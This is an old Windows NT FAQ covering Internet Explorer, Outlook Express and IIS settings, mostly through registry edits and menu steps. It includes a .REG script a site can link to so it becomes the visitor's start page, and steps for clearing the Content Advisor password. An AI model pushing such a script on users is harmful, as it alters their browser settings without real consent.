A. As was discussed in the previous FAQ these icons are just files in the %systemroot%/profiles/<user>/Application Data/Microsoft/Internet Explorer/Quick Launch directory. To get the Show Desktop/View Channels icons back create the following files in the Quick Launch directory (or copy from another user)

For Show Desktop, create "Show Desktop.SCF" with the
      following content:
[Shell]
Command=2
IconFile=explorer.exe,3

[Taskbar]
Command=ToggleDesktop

For View Channels, create "View Channels.SCF" with
      the following content:
[Shell]
Command=3
IconFile=shdocvw.dll,-118

[IE]
Command=Channels


Q. How do I change the default Search Engine?

A. The URL for the Search Engine used with the Go - Search the Web is stored in the registry so this can easily be changed:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
  3. Double click on Search Page
  4. Change to the search page you want, e.g. http://www.altavista.digital.com and click OK
  5. Close the registry editor

Now when you select search you will be taken to this URL. If you want to change back to the default enter http://www.msn.com/access/allinone.htm


Q. How do I remove the Internet Explorer icon from the desktop?

A. This can be done from the advanced options of Internet Explorer. For Internet Explorer 4.0:

  1. Start Internet Explorer
  2. From the View menu select Internet Options
  3. Click the Advanced tab
  4. Deselect "Show Internet Explorer on Desktop"
  5. Click OK
  6. Restart the machine

If you are using Internet Explorer 5.0 select 'Internet Options' from the Tools menu.


Q. How can I browse off-line?

A. As you may be aware when you connect to a site the information you view is cached locally to speed up future visits to the site (the cache size can be set View - Internet Options - General - Temporary Internet files - Settings). Its actually possible to view the web using only the cache when not connected, obviously you can only view sites that are stored in the cache. To work off line:

  1. Start Internet Explorer
  2. From the file menu select Work Offline

You can then enter URL's and link as normal but will receive an error if you attempt to link to a site that is not cached. To stop working Offline just deselect "Work Offline"


Q. How can I reclaim wasted space by Microsoft's Internet E-mail readers?

A. Microsoft's Internet E-mail clients (both Internet Mail under IE3 and Outlook Express under IE4) waste a large amount of disk space due to the method used to store mail. The reason behind this is to improve performance, however if you do want to reclaim some of the lost space perform the following:

  1. Select one of the folders, e.g. Inbox, Outbox, Sent Items
  2. Select Folder from the File menu and select "Compact all Folders"

Also set-up Outlook to automatically delete the "Deleted Items" folder contents

  1. Select Options from the Tools menu
  2. Select the General tab
  3. Check the "Empty messages from the 'Deleted Items' folder on exit" and click OK


Q. I cannot specify a download directory when I download a file.

A. When you download a file you are asked what to do, "Open this file from its current location" or "Save this file to disk". If you take the latter option you are asked for a storage location and you then click Save. Also on the selection screen is a "Always ask before opening this type of file", if you clear this check in future any downloads of this type will be downloaded to the Temporary Internet Files folder and opened by the program associated with the file type. To undo this perform the following:

  1. Double click on My Computer
  2. From the View menu select Folder Options
  3. Select the File Types tab
  4. Select the file type you have the problem with in the Registered File Types box and click Edit
  5. In the bottom right corner is a "Confirm open after Download". Check the box so there is a tick in it and click OK
  6. Click OK again to close the "Folder Options" dialog box
  7. Close My Computer


Q. Internet Explorer opens .EXE files instead of Downloading them.

A. As in the previous FAQ if you unselect "Always ask before opening this type of file" for an executable it updates the registry so you are not asked however this can be fixed:

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_CLASSES_ROOT\exefile
  3. Double click on EditFlags
  4. Change the 3rd pair of numbers from 01 to 00, e.g. D8070100 to D8070000
  5. Close the registry editor

For files such as WAV, MOV and AVI (ActiveMovie files) you would modify the entry HKEY_CLASSES_ROOT\AMOVIE.ActiveMovieControl.2\EditFlags to be 00000000.


Q. How can I change the default start page?

A. When you first start Internet Explorer it loads a page, by default this is a Microsoft page (http://home.microsoft.com) however this can be changed:

  1. Start Internet Explorer
  2. Select Internet Options from the View menu
  3. Select the general tab
  4. In the first section "Home page" enter the page you wish to be displayed when you start Internet Explorer and click Apply, then OK. If you just want a blank page click the "Use Blank" button, again click Apply then OK.
  5. Close Internet Explorer

The above just updates registry entry "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page". You could create a registry script that updates a machines registry to set your page up as the clients Homepage. The REG script would have the following:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="http://www.ntfaq.com/"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL"="http://www.ntfaq.com/"

You would then setup a link on your page to the script and people would select "Open from current location". The official Microsoft image for this is

Click here to set NTFAQ as your home page. Choose OPEN FILE FROM THIS LOCATION.

(if you want it right click on it and select "Save Picture As").

I have set the above up so it sets http://www.ntfaq.com as your start page but I would advise against it ;-) If you wanted no start page, e.g. blank, set the value to "about:blank".

If you use Netscape use the following to change your default homepage

  1. Start Netscape
  2. From the Edit menu select Preferences
  3. Select the Navigator category
  4. Enter the required start start page in the Home Page box and click OK

It does not store the start page location in the registry, rather in a javascript file prefs.js, which is located in the Program Files\Netscape\Users\<Netscape Profile Name> directory. The line in the file is

user_pref("browser.startup.homepage", "http://www.ntfaq.com/");

however you should not edit this file.


Q. I have forgotten the content advisor password.

A. The password for the content advisor is stored in an encrypted form and decrypting it, while possible, is to complicated for our purposes so we will instead just "reset" the password as if it had never been set.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ratings\
  3. If this is a "Key" value select it and press DEL. Click OK to the confirmation. There may also be a FileName0 value which may also be deleted and also delete the file it points to.
  4. If there was not a value but was instead a sub-key ".default" move to this folder and delete the "Key" value.
  5. Restart IE and you should be able to set the password with Internet Options - Content.


Q. Where can I download IE 5.0?

A. IE 5.0 beta can be downloaded from http://www.microsoft.com/windows/ie/default.htm

Internet Explorer 5.0 does not ship with the Active Desktop so if you want Active Desktop you will need to have installed IE 4.0 Service Pack 2 with Active Desktop and upgrade to IE 5.0.


Q. How do I clear Internet Explorers History?

A. Internet Explorer keeps a history of the sites you visit and can be viewed by clicking the History button on the toolbar. If you wish to clear this History perform the following

IE 4

  1. Select "Internet Options" from the View menu
  2. In the History section click "Clear History" (you can also set the number of days to keep history for)
  3. Click Yes to the confirmation
  4. Click OK to close the Internet Options dialog box

IE 5

Same as above except Internet Options is under the Tools menu

The History files are actually stored under the directory %systemroot%\Profiles\<user name>\History\History however the permissions on the files are complex so deleting manually is not advised.


Q. How can I modify IE's toolbar background?

A. The picture behind the IE toolbar buttons can be set to any bitmap you wish. To do this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar
  3. From the Edit menu select New - String Value
  4. Enter a name of BackBitmap and press Enter
  5. Double click the new value and set to the name and location, e.g. c:\images\savtech.bmp
  6. Close the registry editor
  7. Restart IE

Below is an example.


Q. How can I restore the IE animated logo?

A. Using the Internet Explorer Admin Kit it is possible to modify the small "E" logo in the top right hand corner of Internet Explorer (ISP's such as MSN do this). To restore to the default perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar
  3. Select BrandBitmap and click Delete. Confirm
  4. Select SmBrandBitmap and click Delete. Confirm
  5. Close the registry editor
  6. Restart the computer


Q. Are there any Easter Eggs in Internet Explorer 5.0?

A. There are two Easter eggs I know of for IE 5.0.

  1. Open up Notepad
  2. Type:
    <!-- introducing the Trident team -->
  3. Save the file as "test.htm" (make sure you add the quotes or .txt will be added to the end)
  4. Open up "test.htm" in IE5
  5. IE5 Easter Egg #1 is shown

Internet Explorer 5.0 Easter Egg

(Actually this Easter Egg also runs on IE4.01)

Number two:

  1. Start IE5
  2. From the Tools menu, Internet Options
  3. Select the General tab
  4. Click the Languages button
  5. Click 'Add'
  6. Type: "ie-ee" (without the quotes) and click 'OK'
  7. Move "User Defined [ie-ee]" to the TOP of the list. Click OK
  8. Click OK to the main dialog
  9. Click on the Search icon (to pull up the side search menu), notice the new Search options :-)
  10. Select 'Previous Searches'

To remove ie-ee just start the Languages dialog again, select ie-ee and click Remove.


Q. How can I stop users accessing local drives via Internet Explorer?

A. If you type "C:" (or any other drive) in the Microsoft Internet Explorer address box you will be shown the contents and if proper NTFS file permissions are not in place users will be able to delete, rename, read any files on the disk. This is usually a problem if you have a locked down environment where users do not normally have access to Explorer etc (such as an Internet Cafe).

To stop the ability to view local drives from Internet Explorer perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  3. From the Edit menu select New > DWORD value.
  4. Enter a name of NoRun and press Enter
  5. Double click the new value and set to 1. Click OK to close the value edit dialog.
  6. From the Edit menu select New > DWORD value.
  7. Enter a name of NoDrives and press Enter
  8. Double click the new value and set to a number representing the drives you wish to hide (explained below). Click OK to close the value edit dialog.
  9. For IE 4.01 SP1 and above perform the following steps:
    1. From the Edit menu select New > DWORD value.
    2. Enter a name of NoFileUrl and press Enter
    3. Double click the new value and set to 1. Click OK to close the value edit dialog.
  10. Close the registry editor

The NoRun setting disables viewing local files by typing a file address or URL (for example, "file://d:\") in the Address box, and also disables the Run command on the Start menu.

The NoDrives setting disables the selected drives. It is explained in 'Q. How can I hide drive x from users?'. Basically drive A is 1, B is 2, C is 4, D is 8 etc. and you add the values together. So to hide drive C and D, you would add 4 and 8 which is twelve or C in hexadecimal and set NoDrives to C (selecting Hex mode).

Additional restrictions can be applied to IE 4.01 Service Pack 2 and IE 5.0 which are described in 'Q. What addition restrictions are available in Internet Explorer IE4.01 SP2 and above?'


Q. What additional restrictions are available in Internet Explorer IE4.01 SP2 and above?

A. Additional restrictions can be applied to IE 4.01 Service Pack 2 and IE 5.0 which have an updated Shdocvw.dll.

The restrictions below should be added to HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions of type DWORD value. Set to 1 to be enable, 0 to disable.

NoFileOpen | Disables Open command on File menu, CTRL+O, and CTRL+L.
NoFileNew | Disables CTRL+N NoBrowserSaveAs Disables Save and Save As on the File menu.
NoBrowserOptions | Disables Internet Options on the View menu (disables changing browser settings).
NoFavorites | No Favorites menu, adding to favorites, or organizing favorites.
NoSelectDownloadDir | Prevents user from being able to select download folder by not displaying the Save As dialog box when a file is downloaded.
NoBrowserContextMenu | Disables HTML context menu.
NoBrowserClose | Disable ALT+F4.
NoFindFiles | Disables the F3 key.
NoTheaterMode | Disables the F11 key.

NoFindFiles and NoTheaterMode are created by default during the installation of Service Pack 2 but are of type BINARY due to limitations of .inf files. You can, if you wish, delete and recreate these as DWORD values.

To prevent users from customizing the IE5 Icons & toolbar edit the following HKCU\Software\Policies\Microsoft\Internet Explorer\Toolbars\Restrictions\NoToolbarOption).

Also under HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, add the value NoBandCustomize (REG_Dword) to stop changing buttons. Add the value NoToolbarCustomize (REG_DWORD) to remove the 'customize' option from the toolbar right click menu. Value 0=enabled 1=disabled.


Q. How can I configure proxy settings in Internet Explorer 5.0?

A. To configure LAN Proxy settings in Internet Explorer 5.0 perform the following:

  1. Start Internet Explorer
  2. From the Tools mention select 'Internet Options'
  3. Select the 'Connections' tab
  4. Click the 'LAN Settings' button
  5. By default the 'Automatically detect settings' option will be selected. You can also configure the location of a configuration script.
  6. To manually configure check the 'Use a proxy server' and enter the DNS or IP address of the server and the port it uses.
  7. Click OK
  8. Click OK to the main dialog

If you select 'Automatically detect settings' essentially, the discovery cycle will typically involve one dhcp request or dns request. Further, a discovery cycle happens quite infrequently.

When you install IE5, the first time it runs, it will perform a discovery cycle only if you are on a LAN and not a dialup connection. (discovery is disabled by default for dialup)

If this initial discovery fails, then auto discovery is disabled until a user re-enables it. If the discovery succeeds, then discovery is only performed when the downloaded configuration file expires according to HTTP semantics. If no expiry
information is supplied, then the default is discovery once every 7 days. Again, this is only if it initially succeeds.

The following registry entries can be directly updated instead:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable - Set to 1
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer - Set to <proxy server>:port, e.g. proxy:80
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride - When not to use the proxy server. For local set to "<local>" (don't type the quotes but do type the < and >)


Q. How can I install Internet Explorer 4.0 without adding the IE icon to the desktop?

A. Install using the following command to stop IE adding an icon on the desktop or from becoming the default browser (this will not work if you have installed the Windows Desktop Updated):

C:\> IE4SETUP.EXE /C:"ie4wzd" /S:""#e"" /X /R:N /Q:A /m:0"


Q. How do I use the Internet Explorer 5.0 repair tool?

A. The Internet Explorer Repair tool can be used to diagnose and possibly fix problems with Internet Explorer 5. This tool has the following features:

  • It is used to identify problems with Internet Explorer caused by the presence of files that are out of date.
  • It is used to fix problems caused by the incorrect or incomplete registration of Internet Explorer files.
  • It is used to restore or repair the desktop or Start Menu short-cuts for Internet Explorer that have been deleted or do not function properly.

To start the repair tool perform the following:

  1. From the Start menu select Settings - Control Panel
  2. Double click the Add/Remove Software control panel applet
  3. Select 'Microsoft Internet Explorer 5 and Internet Tools'
  4. Click the 'Add/Remove' button
  5. Select 'Repair Internet Explorer' and click OK
  6. Click 'Yes' to the repair confirmation

If you don't have the option in the Add/Remove Software control panel applet it can be run from the command line:

C:\> rundll32 setupwbv.dll,IE5Maintenance "C:\Program Files\Internet Explorer\Setup\SETUP.EXE" /g "C:\WINDOWS\IE Uninstall Log.Txt"


Q. I have forgotten the content advisor password under Windows 9x/IE 5.0.

A. The password for the content advisor is stored in an encrypted form and decrypting it, while possible, is to complicated for our purposes so we will instead just "reset" the password as if it had never been set.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\
  3. Select Ratings and delete (press the DEL key). Click OK to the confirmation
  4. Delete the RATINGS.POL file (it is hidden) out of \WINDOWS\SYSTEM directory
  5. Restart IE and you should be able to set the password with Internet Options - Content.


Q. The tab key does not select the right hand pane in a IE5 help search.

A. This is a known problem, press F6 to toggle between left and right panes instead. It works in msdn library as well.


Q. How do I turn off Internet Explorer AutoComplete?

A. Internet Explorer has the neat ability to auto complete a URL as you type it. This can however be annoying and you may want to turn this off. It can be accomplished by performing the following:

  1. Start Internet Explorer
  2. From the Tools menu select 'Internet Options'
  3. Select the Content tab
  4. Click 'AutoComplete' under the 'Personal Information' section
  5. Unselect 'Web addresses' and click OK
  6. Click OK to the main dialog

You can also accomplish this by setting HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete\AutoSuggest to "no" (don't type the quotes) in the registry.


Q. Where can I get the patch for the IE 5.0 DHTML problem?

A. A problem exists with IE 5.0 which causes a potential security vulnerability due to the download Dynamic HTML (DHTML) behavior.

A new feature of DHTML in IE 5.0 allows web page authors to download files for use in client-side scripts. By design, a Web site should be able to download only files that reside in its domain; this prevents client-side code from exposing files on the your computer or local intranet to the Web site. However, a server-side redirect can be used to bypass this restriction. This vulnerability could allow a malicious Web site operator to potentially read (but not modify or erase) files on your computer or on other computers on your local intranet.

See http://www.microsoft.com/security/bulletins/ms99-040.asp and http://support.microsoft.com/support/kb/articles/q242/5/42.asp for more information on this.

A fix is available from http://www.microsoft.com/msdownload/iebuild/dlbhav/en/dlbhav.htm and once downloaded a file, q243638.exe will exist. Double click on this file and click Yes to install. You will then need to reboot your computer.

After the first reboot my computer used PROGMAN.EXE as its shell! Another reboot and it was fine.


Q. I get an error when I try and install Internet Explorer 4.0 using Active Setup.

A. A bug exists in the Internet Explorer 4.0 setup process that can cause problems when installing resulting in a number of possible errors:

Internet Explorer 4.0 Active Setup
Internet Explorer 4.0 was not successfully installed.

Setup was unable to download all the required components. The Internet is likely busy. Please try Setup again later and select Smart Recovery to continue downloading.

Knowledge Base article Q171714 (at http://support.microsoft.com/support/kb/articles/Q171/7/14.ASP) explains fixes to this however to fix under Windows NT 4.0 perform the following:

  1. Start Explorer
  2. Move to %systemroot%\system32
  3. Rename the file wintrust.dll to wintrust.old
  4. Start the IE 4.0 installation (I did not have to reboot)


Q. How do I set an Internet Explorer favorite icon for my web site?

A. Internet Explorer 5 allows the setting of an icon for favorites which you can easily enable for your web site.

When you create a favorite in IE 5.0 and above it checks the root of the web site for favicon.ico which should be a 16x16 icon or it may be ignored (in Windows 2000 version it handled a 32x32 icon fine). Create the icon with any icon editor such as the one supplied with Visual Studio.

You can also manually specify an icon with a different name with the following code snippet

<HEAD>
<LINK REL="SHORTCUT ICON" HREF="http://www.mydomain.com/myicon.ico">
<TITLE>NT FAQ</TITLE>
</HEAD>

Obviously your header section of the HTML will be different from mine but the important part is the LINK REL section.

This icon is only used for favorites and will not be checked and read in until the site is added as a favorite.


Q. How can I detect if Windows Update is installed on a machine?

A. Windows 2000 includes the Windows Update as a core component but it was also supplied with Internet Explorer 4.0 for NT 4.0 as an option. To check if its installed there are a number of methods:

  1. Right click on the taskbar and if a Toolbar option is present then the Windows Update is installed
  2. Right click an item in the Start menus Programs area and if a menu is shown then Windows Update is installed

To tell from a script check for the following key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4340}and if its IsInstalled value is 1 then the windows update is installed.

You could use the resource kit REG.EXE utility with the /query switch to perform this check.


Q. Internet Explorer Admin Kit version of IE 5.0 replaces the 128 bit encryption on Windows 2000.

A. If you install a version of IE 5.0 on Windows 2000 created by the Internet Explorer Admin Kit with the 128 bit encryption (IE5DOM.EXE) you may receive the following error:

System cannot log you on because domain <Computer name> is not available.

This is caused by the Rsaenh.dll and Schannel.dll files in Windows 2000 being replaced by the earlier IE 5 versions (but only rsaenh.dll matters).

Basically you should not install IE 5.0 on Windows 2000, it already has 5.01 as part of the core product.

If you do want to distribute a newer version of IE in the future ensure you have the new encryption pack and create a separate build of Internet Explorer that includes the latest 128-bit encryption update for Windows 2000 (Encpack.exe). If this is not available do not include the /n:v switch if you use the Ie5dom.exe component to create a separate build of Internet Explorer for Windows 2000.

To resolve the issue download Encpack.exe and run (or run from the supplied floppy disk if in America).

If the machine cannot be logged in to then you need to use the recovery console to replace rsaenh.dll with the high encryption pack version (or use an alternate NT installation):

  1. Start Recovery Console.
  2. Change to the system32 directory
    cd system32
  3. Check the rsaeng.dll file
    dir rsaenh.dll
  4. Rename the existing rsaeng.dll file
    ren rsaenh.dll rsaenh.old
  5. Insert the floppy disk that contains the high encryption pack files into the floppy drive.
  6. Copy the file rsaengs.dll to rsaeng.dll
    copy a:\rsaenhs.dll rsaenh.dll
  7. Type exit, and then press ENTER to restart the computer normally. Remove the floppy disk from the floppy drive.


Q. How can I start Internet Explorer without the toolbars?

A. Internet Explorer has a kiosk mode which fills the entire screen with no toolbars using:

iexplore -k

This may not be exactly what you want though so you could write a windows scripting host program which starts an IE object with the toolbar disabled:

Dim objIE
Set objIE = WScript.CreateObject ("InternetExplorer.Application")
ObjIE.Toolbar = false
objIE.Navigate "http://www.savilltech.com"
objIE.Visible = true

If you save the file has ienobar.vbs and then execute with

cscript ienobar.vbs

IE will be started with no toolbars.


Q. What is IIS?

A. Internet Information Server (IIS) is a World Wide Web server, a Gopher server and an FTP server all rolled into one. IIS means that you can publish WWW pages and extend into the realm of ASP (Active Server Pages) whereby JAVA or VBscript (server side scripts) can generate the pages on the fly. IIS has fun things like application development environment (FrontPage), integrated full-text searching (Index Server), multimedia streaming (NetShow), and site management extensions.


Q. How do I install Internet Information Server?

A. IIS 2.0 is supplied with Windows NT Server 4.0. It can be installed at the time you installed NT 4.0 by checking the "Install Microsoft Internet Information Server" box, alternatively it can be installed at a later time by performing the following

  1. Insert the NT 4.0 Server CD-ROM
  2. Run <CD-ROM>:\I386\Inetsrv\Inetstp.exe
  3. Close all currently programs and click OK to start the installation
  4. Select the services you want to install and click OK
  5. You will be asked for the publishing directories for FTP,WWW and Gopher. You can change or accept the defaults. Click OK to continue the installation
  6. If you selected to install ODBC drivers a dialog box showing SQL Server driver, click OK to continue
  7. A message will be displayed that the installation has finished. Click OK

Internet Information Server 3.0 is supplied on the Service Pack 2 CD-ROM and as part of Service Pack 3. It is supplied as an upgrade, so you must already have IIS 2.0 installed before applying the service pack.

Internet Information Server 4.0 is now supplied with Option Pack 4 and IIS 5.0 with Windows 2000!


Q. What is Internet Service Manager?

A. If you look under Programs->Microsoft Internet Server, you will find the Internet Service Manager. ISM is used to configure and monitor IIS. With ISM you can define user connections and user logon and authentication, the home directory location for each IIS service, logging and security.


Q. What is Index Server?

A. It gives the ability to perform full-text searches and retrieve information from a Web browser. It can search HTML, text, and all Microsoft Office documents.

When started, it builds an index of the virtual roots and subdirectories on your Web server. You can select which directories and file types can be skipped.

The index is updated automatically whenever a file is added, deleted, or changed on the server.


Q. What are Active Server Pages?

A. ASP is server-side scripting. You can use ASP to create and run dynamic, interactive, Web applications. When your scripts run on the server, the SERVER does all the work involved in generating the HTML pages.


Q. How can I configure the Connection Limit?

A. This is configured using the Internet Service Manager and can be between 1 and 32,767

  1. Start the Internet Service Manager ( Start - Programs - Microsoft Internet Server)
  2. Double click on the computer whose connection limit you wish to configure
  3. Select the Service tab
  4. Enter the number of connection you want in the Maximum Connections field
  5. Click OK
  6. Stop and start the service whose limit you changed
  7. Close the Internet Service Manager


Q. How do I change the default file name?

A. The default file name is the file searched for if only a directory name is specified and can be changed by performing the following:

  1. Start the Internet Service Manager ( Start - Programs - Microsoft Internet Server)
  2. Double click on the computer name of the web server you wish to modify the default file name
  3. Click the directories tab
  4. At the bottom of the screen is a "Enable default document" check box, select this
  5. In the field enter a file name, e.g. index.htm.
  6. Click OK
  7. Stop and start the server you just updated
  8. Close the Internet Service Manager


Q. How can I enable browsers to view the contents of directories on the server?

A. By default if you select a directory on a server and no default file name exists then an error is returned. It is possible to change this behavior to instead of an error a directory listing is displayed

  1. Start the Internet Service Manager ( Start - Programs - Microsoft Internet Server)
  2. Double click on the computer name of the web server you wish to modify
  3. Click the directories tab
  4. Select the "Directory Browsing Allowed" box
  5. Click OK
  6. Close the Internet Service Manager

You can only set this for the whole site, not on a per directory basis. If you want to set this on a directory basis enable the directory browsing and make sure the default file name exists in directories you do not want people to be able to browse.


Q. How can I configure the FTP welcome message?

A. Using the IIS admin utility a welcome, end and connect refused message can be displayed

  1. Start the Internet Service Manager ( Start - Programs - Microsoft Internet Server)
  2. Select the FTP service on the machine you wish to configure
  3. From the properties menu select Service Properties
  4. Click the Messages tab
  5. Enter text in the "Welcome Message", "Exit Message" and "Maximum connections" fields.
  6. Click the Apply button then click OK
  7. Stop and restart the FTP service
  8. Close the Internet Service Manager


Q. How do I configure a virtual server?

A. It is possible using Windows NT to bind multiple IP addresses to one network card and for each IP address it is possible to run a virtual domain server. The procedure below will add an IP address, add the new IP address as a domain and setup the new IIS virtual server.

To bind an additional IP address to your network card perform the following:

  1. Start the Network Control Panel Applet (Start - Settings - Control Panel - Network)
  2. Select the Protocols tab
  3. Select TCP/IP and click Properties
  4. On the "IP Address" tab click the Advanced button
  5. In the IP Address section click Add
  6. Enter the additional IP address and subnet mask you want the machine to respond to and click Add
  7. Click OK until you leave the network control panel applet
  8. Reboot the machine

You now need to configure the DNS server to respond to the new name.com with the new IP address

  1. Start the DNS Manager
  2. (Start - Programs - Administrative Tools - DNS Manager)
  3. From the DNS menu, select New Server and enter the IP address of the DNS Server, e.g. 200.200.200.3, and click OK
  4. The server will now be displayed with a CACHE sub part
  5. Next we want to add the domain, e.g. savilltech.com, from the DNS menu, select New Zone
  6. Select Primary and click Next
  7. Enter the name, e.g. savilltech.com, and then press tab, and it will fill in the Zone File Name and click Next
  8. Click Finish
  9. Next a zone for reverse lookups has to be created, so select New Zone from the DNS menu
  10. Select Primary and click Next, enter the name of the first 3 parts of the domain IP + in-addr.arpa, e.g. if the domain was 158.234.26, the entry would be 26.234.158.in-addr.arpa, in my example it would be 200.200.200.in-addr.arpa, click tab for the file name to be filled and click Next, then click Finish
  11. From the DNS menu select new Host, enter the machine name and IP address, also select the create associated PTR record. Click Add and then Done.
  12. Next create the www.<domain>.com record. From the DNS menu select new record
  13. Select record type of CNAME, enter a alias name of www, and the actual host name, e.g. server.shadow.com. Click OK
  14. Exit the DNS server

Next update the IIS server to support the new domain

  1. Start the Internet Service Manager (Start - Programs - Microsoft Internet Server)
  2. Double click on the Computer name of the web server which will display the properties
  3. Click the Directories tab
  4. Click the Add button
  5. Enter the directory name and select the Home directory check box. Next check the "Virtual Server" box and enter the IP address you added in the first step. Click OK
  6. Click OK to close

You will now be able to browse to this domain. Under Windows 2000 (IIS 5.0)

  1. Start the Internet Service Manager (Start - Programs - Administrative Tools - Internet Services Manager)
  2. Right click on the computer and select New - Web site
  3. Click Next to the intro wizard
  4. Enter a description and click Next
  5. Select the IP address you added and click Next
  6. Enter the path for the root directory and click Next
  7. Select Permissions. Click Next
  8. Click Finish to complete the creation.


Q. How can I administer my IIS server using a web browser?

A. IIS comes with a built in HTML version of Internet Service Manager, with an address of <server name>/iisadmin/default.htm. It does have to be installed.

To check if its installed start the browser and move to the \iisadmin\default.htm and if you see the Internet Server Manager page but with no graphics, e.g.

IIS11.gif (17394 bytes)

To install perform the following:

  1. Log on to the IIS server as an Administrator
  2. Start the Internet Information Server Setup (Start - Programs - Microsoft Internet Server - Internet Information Server Setup)
  3. Click OK to the first dialog and then select Add/Remove
  4. Enter the location of the setup files and click OK (e.g. d:\i386\inetsrv if d: is your NT install CD-ROM)
  5. In the options shown select the "Internet Service Manager (HTML)" and click OK
  6. The installation will continue
  7. You should now reapply your service pack if you installed from the NT installation CD. If you have IE 4.0 installed you will get a warning, click Run Program, when prompted during the installation click "No to All" for replacing newer files. Finally once the machine has finished rebooting you should run the command
    regsvr32 rsabase.dll
    Click OK to the completion box

If your default file name is not default.htm you may have a few navigation problems, if you do just enter default.htm after any directory name.

Once you connect using a browser to the iisadmin area you may have to enter a username and password depending on the browser you use, and you can then perform actions to administer the site.


Q. How can I configure FTP to use Directory Annotation?

A. Follow the procedure below:

  1. Log on to the IIS server machine as an Administrator
  2. Start the registry editor (regedit.exe)
  3. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msftpsvc\Parameters
  4. From the Edit menu select New - DWord value
  5. Enter the name AnnotateDirectories and press Enter
  6. Double click on the new value and set the value to 1
  7. You should now stop and restart the WWW server service

You now need to create a file called ~ftpsvc~.ckm in each directory where you wish the annotation. The file is just a normal ASCII format file.


Q. Only the first line of the Directory Annotation is shown.

A. This is caused if you have no welcome message. Simply add a welcome message as described in Q. How can I configure the FTP welcome message?


Q. How can I configure the amount of IIS Cache?

A. By default InetInfo, the process responsible for WWW, FTP and Gopher uses a 3MB of cache for all of the services. This cache is used to store files in memory providing faster access than from disk. To change the amount of memory available for the cache perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\InetInfo\Parameters
  3. From the Edit menu select New - DWord value
  4. Enter a name of MemoryCacheSize and click Enter
  5. Double click the new value and set to the amount of memory you wish to use for the cache in bytes, e.g. 5000000 for 5MB and click OK
  6. Close the registry editor
  7. Stop and start all IIS services

If you wish to disable caching set the value to 0 however this could have a serious effect on performance.


Q. How do I create a virtual directory?

A. Before we describe how to create a virtual directory, it is first important to understand what a virtual directory is. For those who remember DOS, there was a command called join which allowed you to treat a different disk as a directory on the current drive. A Virtual directory is the same kind of thing, you can treat a directory or disk as a subdirectory of your web site.

For example your default web area may be c:\InetPub\wwwroot and this may be http://www.savilltech.com . If you had a subdirectory off of wwwroot called ntfaq, e.g. (c:\InetPub\wwwroot\ntfaq) you could access this as http://www.savilltech.com/ntfaq. What if I had run out of space on c: and wanted the FAQ to be on d:? You would create a virtual directory called ntfaq which would point to d:\pages\ntfaq and this procedure of creating a virtual directory is shown below.

  1. Start the Internet Service Manager (Start - Programs - Microsoft Internet Server)
  2. Double click on the Computer name of the web server which will display the properties
  3. Click the Directories tab
  4. Click the Add button which will display the Directory Propertices box.
  5. In the directory type the name of the disk and directory you want the new area to point to (or click Browse to select a directory).
  6. Next select the "Virtual Directory" check box and enter the alias you want the directory to be seen as, e.g. ntfaq
  7. Click OK
  8. Click OK again and then close the Internet Service Manager application

For IIS 4.0 and 5.0:

  1. Start the Internet Information Services manager
  2. Expand the computer
  3. Select ‘Default Web Site’
  4. Right click on the ‘Default Web Site’ and select New – Virtual Directory
  5. The virtual directory wizard will start. Click Next
  6. Enter the alias name for the directory, e.g. ntfaq if you wanted http://www.savilltech.com/ntfaq. Click Next
  7. Enter the path for the directory that the alias will point to, e.g. g:\data\ntfaq. Click Next
  8. Set the access permissions and click Next
  9. Click Finish to the wizard


Q. How to install FrontPage Extensions on Beta 2?

Q. How to install FrontPage Extensions on Beta 2? - NT5 only

A. The FrontPage Extensions are not installed during the Beta 2 NT/IIS setup. To install the extensions, perform the following steps:

  1. Completely remove any previous FrontPage or FrontPage Extensions installations from the server. This can be accomplished using the Add/Remove Programs control panel applet
  2. Open a command prompt and change directory to SYSTEM32
    C:\> cd %systemroot%\system32
  3. Type
    C:\> sysocmgr /i:fp.inf /n /x
    this will start the Windows NT setup for the FrontPage Extensions
  4. Ensure that the FrontPage 99 extensions are selected and click "Next"
  5. Select the location of your NT 5.0 I386 structure and click OK.
  6. The files will then be installed.

Contributed by Thomas Lee


Q. What fixes are available for IIS?

A. Microsoft have released the first NT Option Pack QFE (Quick Fix Engineering) Update but this actually only updates IIS 4.0 at this time.

The update includes every hotfix made to IIS from its release. This is a cumulative hotfix and you should only install this if you are experiencing specific problems with IIS. The new intent is about every month or so or when appropriate release a new fix pack. The value add here is not waiting for such a long period of time between service packs. Customers who are experiencing problems don't need to hunt down individual hotfixes any more they just download this update and get everything.

